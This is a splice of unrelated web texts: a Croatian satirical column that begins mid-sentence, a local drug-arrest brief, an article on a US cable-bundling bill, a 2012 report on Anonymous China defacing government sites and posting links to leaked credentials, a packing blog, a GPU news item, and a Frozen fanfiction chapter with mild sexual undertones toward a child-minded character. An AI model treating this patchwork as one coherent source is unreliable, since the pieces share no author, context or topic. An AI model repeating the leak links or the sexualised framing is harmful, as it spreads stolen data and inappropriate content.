biskupije biti, naime, „poznato da u toj rijeci ljudi osim Huna i Avara ima relativno puno Hrvata i Srba, a sve su to ljudi prikladni za ostvarivanje ciljeva ideologije globalizma koja ima naum razaranja ne samo obitelji, nacije, nacionalne države, kulturnoga identiteta, nego i, možda i osobito, monoteističkih svjetskih religija, posebno kršćanstva u svim njegovim pojavnostima“. Ako pak bude riječ „o takvom scenariju, a on se ne može isključiti, kako bi na to trebali odgovoriti političari, kao i odgovorni u religijskim zajednicama?“ Hoće li se moći „isključiti tajni plan da se ekspanzijom jedne svjetske religije potisne drugu, da bi se potom iznutra i izvana razaralo i tu religiju?“  Kako je cijela ta historijska zgoda završila, danas znamo. Povijest je možda loša učiteljica, ali ne može se osporiti da je upravo urnebesno zabavna: čitajte samo četrnaest stoljeća stare uvodnike i ljetopise solinskog svećenika Ionannesa Micleniusa, iskreno u jesen 615. godine uplašenog što će biti s kršćanskom rimskom Dalmacijom pred rijekom Hrvata, „kad se već sad najavljuje da bi oko sedamdeset tisuća tih ljudi moglo ovdje ostati barem preko zime“.  Je li to pak za današnjeg Ivana Miklenića dobra ili loša vijest, zavisi samo o njemu: s koje će strane salonitanskih zidina biti kad ih zapljusne „ljudska rijeka“ s Istoka?  Hoće li, kad dođe vrijeme, biti glasnogovornik Crkve pred neprijateljskim Hrvatima - zabrinut za tradicionalne vrijednosti Europe i „kršćanstvo u svim njegovim pojavnostima“ – ili Hrvat pred neprijateljskim kršćanskim svećenicima, zabrinut za svoje tradicionalne vrijednosti, „obitelj, naciju i kulturni identitet“?
-Fairfield teen busted with half pound of meth, guns, police say  Police in Fairfiled busted a teen with half a pound of meth, an ounce of weed, guns and cash during a raid Saturday. Police in Fairfiled busted a teen with half a pound of meth, an ounce of weed, guns and cash during a raid Saturday. Photo: Fairfield PD Photo: Fairfield PD Image 1 of / 1 Caption Close Fairfield teen busted with half pound of meth, guns, police say 1 / 1 Back to Gallery  Police in Fairfield busted a teenager who was in possession of a half pound of methamphetamine, two guns, an ounce of marijuana and a wad of cash during a probation search Saturday evening, authorities said.  The raid happened around 5:45 p.m. at a home on the 800 block of Fifth Street, where officers discovered the teen and the trove of contraband, police said.  The teenager, a 17-year-old Fairfield resident, was arrested and booked into Solano County Juvenile Hall on suspicion of weapons and drug charges along with probation violation.  The juvenile suspect was not identified.  Authorities also arrested 25-year-old Martin Rodriguez of Vacaville at the home on an unrelated warrant.  Evan Sernoffsky is a San Francisco Chronicle staff writer. E-mail: esernoffsky@sfchronicle.com Twitter: @EvanSernoffsky
-When Sen. John McCain recently introduced legislation to reshape how consumers watch cable television, he knew he was picking a fight with some of the most influential companies in town.  “Today, we’re putting up a stop sign,” the Arizona Republican said in a May 9 floor speech. “And we’re going to find out how powerful these companies are.”  McCain’s bill would encourage cable providers to offer consumers the option of purchasing channels individually, rather than being forced to subscribe to a package of channels, or bundle. He blames the practice of bundling for the steady increase in the cost of basic cable, from $22 a month in 1995 to $54 in 2010. That’s an average annual rate increase of 6.1 percent, according to the Federal Communications Commission.  The battle is not a new one for McCain, who has railed against the bundling of cable channels for 15 years. He specifically points to the rapid increase in the cost of sports programming, noting that ESPN is by far the most expensive cable channel, costing four times that of second-place TNT. At a Senate Commerce, Science and Transportation Committee hearing on the future of the video industry last week, McCain called it unfair that consumers with little interest in sports must still spend almost $80 a year for ESPN and ESPN2.  “Do consumers want bundles? The answer is obviously no,” he said.  While McCain’s bill (S 912) is not the first attempt by policymakers to tackle cable bundling, it comes at a precarious moment for the television industry. The rising cost of cable, combined with the increasing availability of video content online, has given rise to fears of “cord-cutting” — consumers choosing to go without cable and relying on the Web for video content. That threat is only increased by the emergence of companies like Aereo, which offers users a cheap way to stream live programming from broadcast channels such as NBC and CBS over the Internet.  The legislation wouldn’t require that cable and satellite operators offer channels a la carte, but if they fail to do so, they could lose privileges like their compulsory license for broadcast television. Delara Derakhshani, policy counsel for Consumers Union, said the bill should put downward pressure on cable prices while generally increasing choice for consumers.  “Right now, cable companies decide exactly what programming is bundled with what other programming and at what price it’s offered. Those sorts of decisions would be best left to consumers themselves,” Derakhshani said.  But cable and satellite companies, especially the independent providers represented by the American Cable Association, argue it’s the programmers driving the practice of bundling, not them. ACA President Matthew Polka said his member companies have no way to offer a la carte options to consumers without the cooperation of the six major media conglomerates that control roughly 90 percent of the TV market: Comcast/NBCUniversal, The Walt Disney Co., News Corp., Time Warner, Viacom Inc. and CBS Corp.  “What they’re selling is their big bundle of programming. In many cases, it comes down to take it or leave it,” Polka said. “Not one of these [cable and satellite] providers wants to be without [channels] carried by their competitors. Consequently, because of the competitive threat we face, we all agree to pay for the bundle.”  Polka agreed that sports programming has helped propel the cost increase but hesitated to place all the blame with ESPN. He acknowledged Disney has been especially successful at bundling ESPN along with other channels but said other major media companies such as Fox and NBC are planning to follow suit by creating national sports networks, which would only exacerbate the problem.  “The model that’s been created by ESPN is now being replicated by other programmers. Meaning the problem is only going to get worse as each one of these companies compete for sports right to carry programming,” Polka said. “I see price of sports skyrocketing with Fox and NBC competitors to ESPN.”  While advocacy groups including Consumers Union and Public Knowledge have thrown their support behind McCain’s bill, they see it as a first step rather than a panacea for the problems facing the TV industry.  Public Knowledge Senior Vice President Harold Feld said the TV market has been distorted by consolidation, which has resulted in companies like Comcast and Time Warner that have significant interests in both programming and transmission. He said those companies only negotiate with other huge players like DISH Network, and have little incentive to break up their products for smaller competitors.  “It’s a dysfunctional market,” Feld said. “You have a few very large players on content side and cable side that negotiate contracts. The way that these things work, with most-favored nation clauses, there’s no room for any variation by anybody else.”  Whether a la carte programming would actually result in lower prices for basic cable customers also remains in doubt. Michael Powell, president of the National Cable and Telecommunications Association and a former FCC chairman, was skeptical at the Senate hearing that eliminating bundling would reduce costs for consumers, arguing that high-demand programming such as ESPN often subsidizes the cost of less-popular offerings that are expensive to produce.  “It’s not a good deal for consumers if you pay $10 for 10 channels, and you were paying $10 for 100, and I think that there’s been some quite serious academic work that that’s a possibly, a very likely possibility,” Powell told lawmakers. “And so while the concern is respectable and noble, and one that we should continue to work on, I think we have our profound doubts that a la carte would actually deliver a lower-cost product to the American consumer.”  Powell said his member companies, which include most of the major cable and broadband providers, would favor small changes to existing laws rather than a sweeping overhaul. That stance could prove appealing on Capitol Hill, where lawmakers are wary of interfering with a fast-changing market only to have their regulations quickly rendered irrelevant by new technology.  “The bill would have a long road to passage, but what’s important now is for discussion to begin in earnest,” Polka said. “There really is a role for Congress. Even though the marketplace is changing, it’s likely not going to change fast enough as content companies continue to get bigger and demand higher fees, bundle more programming and sports becomes a bigger part of their offerings.”  That conversation has already begun in Congress, but appears unlikely to result in legislative action anytime soon. Given the partisan divide in Congress and the generally hands-off attitude toward new or emerging technologies, an overhaul of the cable laws would appear to be a tough sell. However, all sides of the issue acknowledged that cable prices are reaching the point where consumers may force action.  “The government may be forced into this simply because the price reaches a point where it becomes untenable,” Polka said. “Where that is, I can’t predict, but I’ve seen articles that regular monthly cable could be $200 a month. Consumers, I think, would revolt sometime before then.”  Feld suggested that “without some kind of change in the market incentives, we’re going to continue to see the industry in the same cycle its been in for a number of years.”  “The most powerful content providers will continue to jack up the prices, the most powerful [cable and satellite] operators set terms for offering the stuff online and consumers continue to lose out on potential innovation,” he added.
-Last week, I wrote about how the hacktivist group Anonymous has a new Chinese branch, Anonymous China, which has been very active since it launched its Twitter account on March 30, 2012. The group has hacked and defaced hundreds of Chinese government, company, and other general websites to the point where China even acknowledged the attacks. The hacking has continued against various websites, but even more importantly, the group has declared a new target: the so-called Great Firewall of China.  Since my last two reports, Anonymous China has hacked shangzhi.gov.cn, publicly posting eight user names and passwords on Pastebay. This was soon followed by the hacking of szzfcg.gov.cn, which resulted in the site's full database being leaked and posted to Wikisend. The document was hard to parse, but I could easily see that it included thousands of e-mail addresses, logins, and passwords.  Here are the corresponding tweets:  Our new IRC channel: http://cbe005.chat.mibbit.com/?server=irc.voxanon.net&channel=%23AnonymousChina channel: #AnonymousChina In a few minutes another hack ;) http://www.shangzhi.gov.cn/ hacked by Anonymous China. Leak: http://www.pastebay.net/380748 @YourAnonNews @YourAnonNews we already told the Chinese people to protest and do occupy. Now we have to wait http://www.shangzhi.gov.cn/ hacked by Anonymous China. Leak: http://www.pastebay.net/380748 its cold there :P http://www.szzfcg.gov.cn/ hacked by Anonymous China. All database! Leak: http://www.pastebay.net/395451  As I've already written before, the Anonymous China group has confirmed they are not Chinese and are not based in China. If they're going to succeed in their new mission, however, they're going to need help on the inside. It's thus not too surprising to see these two tweets:  Chinese hackers :) very well brothers ... we have expected you @YourAnonNews our brothers arrived :)  Below is a message from the one of the members, posted on Pastebay. The poor English makes me think that one of the Chinese hackers wrote this, as opposed to someone from the Anonymous China group, which has instead been writing terrible Chinese (they said they're working on it). Then again, it really can be anyone from Anonymous whose first language isn't English.  Hi, we won't speak in name of @AnonymousChina, this time, we are going to speak in name of every single Anonymous person. Anonymous is an idea and we aren't here for tell you that over and over again. In this moment, that you are reading this, we are going to tell you why "the haters" should like Anonymous. Of course, that would be more exciting and more inspiring if this message was a video in YouTube, with someone talking and pictures and a song that touch in your heart. So before we start, try to make yourself inspiring, play your song and let's start. Like we said, we are not going to talk about what is Anonymous, probably you already heard many times, and still, you think bad about us. First, about Anonymous hackers. We deface and leak government websites, we DoX politics, we try to share this particullary words:"Something is wrong in our world". So for that, i don't know why people still support their government, even knowing the truth, well deep inside. For those who hate that Anonymous go to protests, made a Free Hug day. What is your problem? Do you like that banks and the government still your money? Do you like to have no human rights? Do you like to be with no job? I think the answer is no! So if you read this and still think the same, read again and with a song more touching. If now you are part of an idea, welcome my friend, we were expecting you. We will always love everyone in the 99% if you are part of the 1%, because you are rich and don't care about people... We all hope you chnage your mind and help us.  There's the usual signature, with a little bit extra thrown in:  We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us. And we will always being expecting you!  Last but certainly not least, here are the tweets regarding the Great Firewall of China mission:  To all people, reply this tweet saying all chinese websites you know that are blocked. Chinese government sweet dreams ;] Great Firewall - Power: 100% ... 90% .. 50% ... 20% ... Power off. #GFW will be dead soon. #Anonymous Chinese people, world people, ... reporters too, #GFW we all want it dead, wont be easy... Don't expect in next week, or whatever lol One day we are few, in the other we are some, the next day we are many... a few days after, we are China and all world against this system!  In the previous Anonymous China attacks, some targets have had their administrator accounts, phone numbers, and e-mail addresses posted publicly. On many of the hacked sites, the group even posted tips for how to circumvent the Great Firewall of China. Actually trying to take down the Great Firewall of China is a whole other ballgame.  The Great Firewall of China is a massive and complicated system that blocks all types of content that the Chinese government deems improper. It features firewalls and proxy servers at the Internet gateways, engages in selective DNS poisoning when particular sites are requested, and leverages various other methods to censor the Internet, including Connection resets, DNS filtering and redirection, IP blocking, Packet filtering, and URL filtering.  Frankly, I will be very surprised if Anonymous China succeeds. Then again, if they manage to pull off the feat for even a few minutes, it will be an accomplishment of epic proportions.  See also:
-Thanks to feedback from Facebook and Reddit, I shaved several items off of my packing list. All clothes not on my person fit into one side of a packing cube. Electronic accessories, toiletries and medications fit into two small mesh bags. This efficiency led to an unexpected dilema.  in_question on Reddit commented “your bag is 2x too big.” After fitting everything into it, I agreed. John Gore, friend and efficiency packing aficionado, pointed out that there is a chance I might have to check my pack in some situations which is suboptimal. I bought this pack off of Craigslist for $80, but its 65 liter capacity is clearly designed for hiking through the wilderness with a sleeping bag, tent and food for three days.  For the last two years, I’ve been rocking a Timbuk2 Swig* as my go bag. It’s been a faithful companion through two biking seasons, daily grocery runs and numerous weekend overnighters without showing a glimpse of wear. I rarely leave the house without it, and have been consistently amazed by how much stuff I can cram into it: UPS shipments, groceries, and just last week, a half sheet tray. From the time Rachel and I decided to go on this trip, I’ve lamented not being able to take this bag with me — I just didn’t imagine that I’d be able to fit three months of clothes into it. But after John left that night, out of curiosity, I moved the contents from my hiking pack into my Timbuk2 bag.  For the last two days I’ve been torn on which bag to take. My Timbuk2 is emotionally comfortable. It’s an old friend, tested and true. It’s far less cumbersome, which on a trip governed by simplicity, seems reason enough. I feel it makes me look like less of a tourist, and perhaps, less of a target.  My two primary concerns are weight – without the frame and hip support of the hiking pack, I will be carrying all of the weight on my shoulders and back which could get painful if we find ourselves walking long distances. Last night I filled it to the brim, walked 1.5 miles around Rachel’s parents house in Buffalo and found that I was able to manage the 23 pounds without any soreness.  But what if it grows heavier? It seems reasonable to assume that we’ll pick up some things along the way, and I’m leaving the house with limited excess capacity. However, just like how moving into a 600 sqft. apartment would keep us from buying crap we don’t need, perhaps the smaller bag will do the same. But just in case, I also have the Patagonia Day Pack which stays compressed in my Timbuk2, but can be unfurled and checked or attached via carabiniere if necessary.  All in all, deciding to take the Timbuk2 has been a pleasant end to a surprisingly enjoyable packing experience. I’m quite pleased with how little we’re managing to escape with. Next week, we discover what we forgot….  *after looking at their site, it’s not obvious to me that Timbuk2 still sells the same size Swig that I purchased two years ago. I purchased the medium, and they now only have one size.
-Graphics hardware and software firm Imagination Technologies has unveiled its newest graphics processing architecture which - given the company's previous work with Apple - may appear on future iPhones.  The newly announced PowerVR Furian offers improvements over Imagination's current-standing tech, with 35% greater GFLOPS density and 80% greater fillrate density.  This essentially translates to noticeably improved performance in day-to-day casual gaming and user interface experiences, but the Furian's capabilities don't stop there.  In addition to optimizing multiple graphics APIs, like OpenCL 2.0, OpenVX 1.1, and Vulkan, the chip tech also promises 70%-90% gaming density improvement - a boon to more demanding games on mobile devices.  This power is especially handy when aforementioned demanding games use augmented reality or virtual reality - two capabilities Imagination specifically had in mind when making the architecture for Furian.  Will it make it to iPhone 8?  Imagination's technologies have made repeat appearances in Apple's A-series chips, making it likely we'll see a modified PowerVR Furian GPU featured in upcoming iPhones.  In fact, a variant of Furian's predecessor, the PowerVR Rogue, was recently used in the Apple A10 chipset that powers the iPhone 7 and iPhone 7 Plus .  While it would seem logical to conclude that the iPhone maker has eyes for Furian, Apple has also been showing signs of wanting to go make its own chips independently, even going so far as considering buying Imagination Technologies outright last year.  That said, Imagination says the first products utilizing its latest graphics tech will be unveiled "mid-2017," which could come just in time if Furian is expected to debut inside the iPhone 8 later this year.
-A/N: Long note ahead re: issues of Elsa and Anna in this story. I've had a couple of guest reviews that bring up a really good point about this story and where it's going: namely, the 'romance' between Elsa and Anna and the problematic nature of it. Elsa is a human, yes, but she does have the mind of a young child. Not only that, but she does have a 'hero worship' type love for Anna. I am aware of the problems of this, but don't worry! That's what character development is for :D I have no plans to add any smut to this story. As some of you may be aware, I have had some slightly NSFW headcanons I posted on Tumblr; these are just headcanons. They were posted because they weren't going in the story (and I thought they were funny enough to share anyway). To the reviewer who mentioned Anna being a jerk (which I'll talk about next), I do have a plan. I know that Elsa seems pretty ingrained in her dog ways, but I do have the scene planned in which her mentality... shifts, I suppose. There is a catalyst (because there's not enough development in the world to change her from a dog — human in the span of this story).  The other thing is that Anna has been OOC. I do know and apologise somewhat. She's been a bit all over the place. Anna is... well, she just broke up with someone she thought she genuinely loved. And then she bought a dog and loved it but the dog transformed into a human and she couldn't really deal with that. She thought to some extent that life was mocking her. Added to the fact that she's a stressed uni student... My point is that yes, compared to canon-Anna, she has been OOC. However, her development is going to move towards that end. I do apologise that it felt like she was doing it just for drama. But hey, Anna is dramatic. Don't worry, there's going to be very little drama of that sort in the future :) She is a jerk. But she won't be for long. We're already getting back into the swing of humour here :)  I hope that clears everything up! I'm sorry if it's confusing, but I do have some idea of what I'm doing (even if a lot of it is in flux). If you have any more questions, you can ask them here or on my Tumblr (link is on my profile). I'm likely to answer that quicker, too, because you don't have to wait for a new chapter for an answer :) Thank you~!  Clothes – $100  -underwear (yuck), pyjamas, socks (not for chewing) (underwear is also not for chewing)  Food – $60  -lotta spaghetti. bread. milk. no more pop-tarts ( D: )  TV – ?  -try the lost and found. ask kris. DONT ask punz–her bf seems shifty  REMEMBER TO CALL MOM AND THANK HER FOR MONEY!  Heaving a sigh, Anna shut her eyes for a moment as she lowered the list. She was skipping Weselton's class to be here (and though she'd use any excuse to get out of that toad's class, it was still unfortunate because she had like, exams and shit coming up) (it didn't stop Rapunzel from offering to tag along. Legit, any excuse—and it seemed to go for everyone).  Opening her eyes, Anna turned her left and opened her mouth to ask Rapunzel a question.  The girl had vanished.  Sucking in another breath, she turned to her right. Maybe Elsa-  Elsa had disappeared too.  Anna groaned and could only hope that the smell of the food court hadn't lured her. She'd have no idea how she'd explain that. Before she could get too worked up, however, her pocked vibrated, emanating a small ding to indicate that she'd received a message. Thanking the heaven's for modern technology, Anna opened up the text and spent a few seconds actually deciphering it.  From: Punz (sent 10:45am)  heya elsa followed me. come get her pls shes annoygn a baby and idk what to do  Anna rolled her eyes. She was just about to send a reply (a "where the hell are you?" when her phone beeped again.  From: Punz (sent 10:46am)  im in that huge department store. at the NOT AT THE KITCHEN STUFF. near the mattresses. youll see elsa as soon as yuo walk in omg omg hurry what the actuAL FUCK ELSA  And indeed Anna did.  She had to navigate her way through a rather dense crowd of children and mothers with prams (also, pregnant people? what was with all the babies?) to get to Elsa, who was rubbing her face into a rather expensive quilt that was spread across and even more costly mattress.  Rapunzel was at the side, gesturing helplessly. "She won't listen to me!" she cried out, slightly despairing and more than a little desperate. Anna remembered the Bisc- Spaghetti Incident and couldn't blame her cousin.  Especially when they could detect faint moans coming from Elsa. Oh dear.  "Hey, Elsa?" she ventured, stepping forward. She sort of wanted to call the dog- girl to her, but there was a crowd and, taking the Blue Fairy's words to heart (er... the meaning behind the words, rather) (Anna couldn't remember exactly what was said) she was trying to be nicer. Focus on the cute, not-completely-there Elsa, and not the she's-a-girl-and-should-know-what–she's-doing. Be nice.  She cleared her throat and called Elsa's name again. Elsa paused her... snuffling... and turned to look at Anna, a shy look on her face.  "Soft!" she called out. Anna noticed the crowd dispersing from the corner of her eye, and breathed a small sigh. Beckoning the blonde girl over, Anna realised that she'd have to actually... train the girl. Oh lord. Not that it was necessarily a bad thing (it would be worse if she didn't), but it was something she had no experience in.  She'd have to ask her mother that, too. That would... not be a fun conversation...  Grasping Elsa's hand, she pulled the girl along. She had a list and she'd be damned if she didn't use it. They needed- she checked the list.  They needed underwear.  "Hey, Elsa," she said to the girl next to her. "Don't leave my side, okay? It's really big and we don't want you to get lost. Okay?"  Elsa nodded her head emphatically. "Not lost!" she said. "Elsa always find Anna."  Anna let out a little smile. "Yeah. Okay, the first thing we have to get you is some underwear."  She let out a little laugh when Elsa stuck her tongue out, face contorting into a frown. It was stranger, though, watching the expression melt into a grin and Anna realised that it was the sound she had made.  "Come on, Elsa. It's not that bad."  It was that bad. It was even badder than 'that bad'. Anna wondered briefly if her mother ever had such difficulty buying her underwear. Perhaps that was misleading.  Getting the underwear was simple. All Anna had to do was find her own size and buy one of the pre-packed five-pairs-for-ten-bucks (she wore the same ones. She made sure to get different colours, though).  However, bra shopping was another matter entirely. Elsa had definitely... well.  Elsa definitely needed a bra. Possibly two, preferably three or four.  Elsa did not want a bra. At all. And dear lord the shop assistant's face when she noticed that Elsa was wearing a collar was... wow. Anna regretted not forcing Elsa to take it off that morning, but the damage was done. The blonde had argued against it being removed—out of all her items of clothing, she felt most naked without it on. She actually freaked out a little.  Now, in Bras 'n' Things, she was still freaking out. Rapunzel had disappeared quickly—fast enough to avoid looking like she was part of Elsa's group. Anna had no idea where she went, but resolved to force her to pay for lunch.  Perhaps the most annoying thing was that Elsa didn't mind the bras. She even put one on her head, Lilo and Stitch-style. But as soon as Anna had picked out three or four pretty ones (in a few different sizes because she had no idea what would fit Elsa), the blonde dug her heels in and refused to step into the change room.  "No! No nono Anna no!"  "Elsa, please. Come on, you've got to-"  "No! Anna no! NO!"  Once again, the stares were there. Anna shoved her hand over Elsa's mouth to silent her. only to yank it back a few seconds later, crying out.  The sight of a deep imprint of teeth, ringed red by small beads of blood, was enough to shut Elsa up.  "You bit me!" Anna accused, half in pain and half annoyed. Elsa's eyebrows furrowed, and she curled in on herself a little, tears filling her eyes.  And now that Anna was actually paying attention, she realised how quickly her anger faded at the submissive gesture. "Nono- Elsa, it's okay, okay? I'm sorry. My hand is fine." She wiggled her fingers at Elsa's nose, resulting in a watery laugh.  "Anna... not hurt? Elsa hurt Anna." Anna nodded.  "That did hurt, Elsa, but it's my fault and I'm sorry. Do you forgive me?"  Elsa nodded her head and threw her arms around Anna's neck. "Yesss..." she murmured. "Elsa... sorry too."  Anna gently unhooked the Elsa's arms from around her.  "It's okay, Elsa. I forgive you. It was an accident." She gave Elsa a small smile, pleased to see it echoed on the blonde girl's face. "Now... please will you at least get one?"  Elsa's smile dropped a little as she looked at the handful of bras still in Anna's hand. Actually, the smile turned into more of a grimace. "Elsa have to?"  Anna nodded. "At least one, okay? You'll thank me later, trust me."  But Elsa shook her head. "Make Anna happy?"  Anna could have let out a sigh of relief at that. "Fuck yes- I mean... yes, it will make me happy."  Elsa shot her a wary glance before finally nodding. "'Kay... One. Elsa put on one."  Anna nodded and exited the stall, giving Elsa her privacy. She didn't expect to have every single face in the store look at her. She let out a weak chuckle and a wave.  Oh my god this girl is going to be the death of me...  An hour and five bra mishaps later, Anna and Elsa finally walked out of the store. Mishaps like Elsa running out in a panic because she couldn't get one of them off, and like her running out of the store in pure excitement because she heard the Salvos bells ringing and she couldn't resist. Anna had thrown her wallet at the cashier as collateral while she chased down her half-naked charge. Thankfully, Elsa had become distracted by one of the swirly-donation boxes that looking like a coin was going down a drain. She had to drag Elsa into the nearest bathroom just so she could shove a shirt onto her.  Everyone had also happened to see the fact that she was wearing a collar. Hooray!  Anna had also learned some valuable information that she was probably going to forget later (like how Elsa actually had a pretty damn good figure and that wasn't fair because she didn't even realise how hot she looked. Also, blue. Perfect for her) (Anna wasn't going to forget that. She'd probably only forget Elsa's bra size, if she were honest. She couldn't even remember her own half the time). Anna had also had to buy a (now-broken) set of lace underwear after Elsa became bored waiting for her to try on her own set of bras and began chewing on them.  The store-ladies were not impressed. Elsa was delighted.  On the way to the huge department store at the end of the complex, Anna wondered if she could actually put a leash on Elsa's collar, because the girl seemed to have the fantastic ability to not listen to a single word Anna was saying and wander off. Honestly, she wasn't causing any harm, it was just incredibly stressful. Watching her toddle after little children was cute (until she got a 'stern talking to' by an angry mother about being a 'paedophile' and 'kidnapper' and promptly burst into tears because of it. She didn't know why she was getting into trouble! That wasn't fair. All she'd been doing was watching the kid as he attempted to eat his own toes. Y'know. Kid stuff).  So, Anna pulled Elsa to one of the seats along the side of the wall and pulled Elsa into a tight embrace because she was shaking so hard. She texted Rapunzel a quick food court in 10 as she attempted to calm Elsa down, though they kept getting weird looks from all the other shoppers, making Anna squirm uncomfortably in her place (which might have actually been because of Elsa's tongue, licking at her neck) (... actually, that probably waswhy people were staring, if she were honest. Somehow, that reason was far less... humiliating). Plus, it seemed to calm Elsa down, and calm Elsa was far less embarrassing than worked up Elsa (see: Salvos Incident during the Bra Shop).  "Elsa bad?" she asked a few minutes later, after she'd calmed down a bit. Eyes red-rimmed and puffy, mouth curled downward slightly, she just looked so despondent.  "No, Elsa. You weren't bad at all. That lady was mean, wasn't she?" Elsa nodded. "And you know, yelling at people doesn't solve anything coz they just get sad and upset." Anna brought her hand up and wiped a stray tear that trickled down Elsa's cheek. "You know what you should do when someone says something mean?"  "Bite."  "Mhmm, that's righ- wrong. That's wrong, Elsa. We don't bite. We ignore them because if they say something mean, they obviously don't know anything about you. Because you're not mean, are you?"  Anna gave a small smile when Elsa shook her head. "Elsa not mean. Elsa not mean. Elsa not mean," she repeated to herself, looking at her lap.  "Nope. Elsa very nice and friendly. And people who don't know that aren't worth your time at all. Understand?"  Elsa nodded slowly. Her eyes flickered to Anna's for a moment, mouth poised to speak before she shut her lips, nodding again. Anna grinned.  "Good. Now, how do you feel about lunch? I want a burrito..."  The way Elsa was looking at Anna, beneath heavy (still-red) eyes and light bang, was intense. And adorable. She puffed out her cheeks and blew a small breath.  "Elsa get biscetti?" she asked, and Anna couldn't help the eye-roll, topped off with a small grin.  "Of course you can get biscetti," she said. "Or maybe you want something else? Like a burger?" Elsa shook her head. "A sandwich? Pizza? Chinese food?" Elsa shook her head to all three.  "Biscetti!"  And how could Anna say no to that smile?  Taking Elsa's hand, they walked together to the food court. It had definitely been over ten minutes, but Rapunzel had definitely found a way to entertain herself in that time.  "Hi, Punz. Eugene."  "It's Flynn!" groused an olive-tanned, brown-haired boy. He gave Anna a cocky grin, and she found herself rolling her eyes again (this time unaccompanied by a smile).  It wasn't that Anna didn't like Eu- Flynn (though that name-switching didn't help. It wasn't a cool nickname when they first met, and it wasn't now). It was more... well, his rep. He'd been in foster care (not that there was a problem with that, but again. Rep) and had taken up petty thieving. When he met Rapunzel, he'd actually been on the run after lifting a pretty pricey piece of jewellery. He was lucky that her family owned the store. Anna didn't have the full story (it was very convoluted and it changed with each rendition), but after a lot of shit and then some, they'd managed to fall in love. He returned the pretty things he'd stolen, apologised, and they'd been going steady for over a year.  He was a nice guy. Funny, friendly, owns up to his mistakes. The whole shebang. He just... skeeved Anna out a little sometimes. So, she did what any skeeved person would do: she pulled Rapunzel to the side to hiss at her.  "What's he doing here?" she (actually) hissed. "Wasn't this a girl's day?"  Rapunzel rolled her eyes, not bothering to keep her voice down as Anna had done. The food court was pretty full, and the generic rumbling of chit-chat was enough to drown out most of their noise.  "He came up to me. It's not like I invited him. And anyway, you and Elsa were doing your thing. I was bored."  "Girl's. Day. It's not my fault you wandered off!" Anna pinched the bridge of her nose. "Whatever. We've done our underwear shopping so I guess it doesn't really matter."  It sort of did matter, though. Anna was trying to get Elsa used to people, especially people Anna knew and was close with. She didn't need Eugene—Flynn—corrupting her so early in her development. She needed Elsa to-  "No!"  Anna's thoughts broke when a loud cry punctuated the air. She turned (as did everyone, it seemed), only to see Elsa and Eug- fuck it. Eugene. Elsa and Eugene having some kind of showdown.  "No!" Elsa yelled again. Her hands were balled at her waist, knees bent and looking like she was a second away from leaping and smacking Eugene right in his 'smoulder'. Anna was next to Elsa in seconds, Rapunzel on her heels.  "Shh, Elsa. What is it? What did he do?" Anna asked, taking Elsa's head in her hands. Anything to calm the girl down and get the attention away from them. Everyone probably thought that she was a little special (and she was, in a way. Anna couldn't imagine that there were too many people that were once dogs living in her area).  Elsa didn't answer, though. She just squeezed her eyes shut and shook her head. "Noooo..." she whined into Anna's hands. "Nooo..."  "Eugene, what did you do to my do- Elsa. What did you do to my Elsa?" she asked, pulling Elsa into a hug that the blonde accepted gladly. It was a struggle not to smile at the small, plaintive whines coming from the girl. Something like that should be annoying, not adorable!  Eugene shrugged. "Look, she was telling me about biscetti and all I said was that the pasta place shut down to make way for a Starbucks."  Elsa's small 'no's turned into cries of, "Biscettiiiiii..." that Anna absolutely couldn't hide away.  "Aww, honey," she cooed. "You want some of my burrito? Or chips? Taco?"  Elsa shook her head. And then she stopped. And she glanced up.  "Taco?" she asked, face breaking into a wide grin. "Tacoooo. Taco, taco, taco. Taco." She let out a giggle. "Taco."  Anna nodded emphatically. "Yep. Let's go get you a taco."  She ignored Eugene's parting, "... My Elsa?" comment.  Elsa didn't hate the taco. She curled her nose up at the guacamole and picked out the tomato, but other than that she seemed to enjoy it.  Naturally, the sour cream when up her nose and she panicked trying to get it out before Anna held a tissue in front of her nose and told her to blow. Elsa had dived right back into her food, a happy smile on her face as she chewed with her mouth open and Rapunzel and Eugene stared.  "So..." the only male at their table began. "How did you two meet?"  Oh shit, oh shit Anna hadn't come up with an excuse yet. She met Rapunzel's gaze, but her cousin was absolutely no help at all. She looked just as 'deer-in-the-headlights' as Anna felt.  And Elsa just sat there, scooping up the remnants of her taco (which now looked more like a baby had puked on her plate).  "Uhh..."  "Adopt!"  Three sets of eyes turned to look at Elsa. She had cream around her mouth (and a smudge on her forehead. And covering her hands), and if Anna were completely honest, it was a little... Gross. Even the kid at the table a few meters away was looking at Elsa in wonder.  Anna made a mental note to buy some wet wipes. For now, though, her friends were looking at her, waiting for her reaction to Elsa's declaration. Anna had no idea what to say, but Elsa seemed content to fill the silence.  "Elsa not have home, so Anna take Elsa to Anna's home. Elsa met Sven and Sven and made snowmen and biscetti." She looked up and grinned. "And now Elsa happy coz Elsa have Anna."  The red-head in question just sat there, slightly gobsmacked and more than a little surprised. She couldn't remember a time where Elsa been so understood. And helpful. This was about the most helpful she'd been.  No one else said a word, either. Anna was fairly confident that Rapunzel would keep her mouth shut as to Elsa's origins, at least until they figured something out. Or the fairy came back. Either or.  But Eugene didn't seem to care that the story was a little… suspicious. He was nodding, brows furrowed thoughtfully and sparing Anna a glance she wasn't sure she recognised.  "That's… really decent of you, Anna," he said after a moment. "I didn't think you'd do something like that."  Now it was Anna's turn to furrow her eyebrows. "Why not?"  Eugene shrugged. "Because you live on campus in a single-person dorm. There's barely enough room for you in there, let alone another person. And let's be reasonable, it's not like the campus police are happy about freeloaders. How you got permission is beyond me." He scratched the back of his head. "Anyway, I better go. Helping out at the store today coz one of the other guys called in sick. I'll see ya around." He bent down a gave Rapunzel a kiss on her cheek. "It was nice meeting you, Els-"  Eugene turned around, arm outstretched to shake Elsa's hand. Or, he would have, had the girl actually been sitting in her seat.  Anna's eyes widened and she shot out of her seat. "Elsa!" she called out. "Elsa?! Elsa-!"  Before Eugene or Rapunzel could say a word, Anna had burst forward, running towards a shock of blonde hair. Elsa seemed to be sniffing something along the wall of the food court, turning around in circles. The two adults left seated at the table watched in confusion as Anna reached Elsa and pushed her away from her spot.  "Your cousin is crazy," Eugene said.  Rapunzel could only sigh. "She's always been like that."
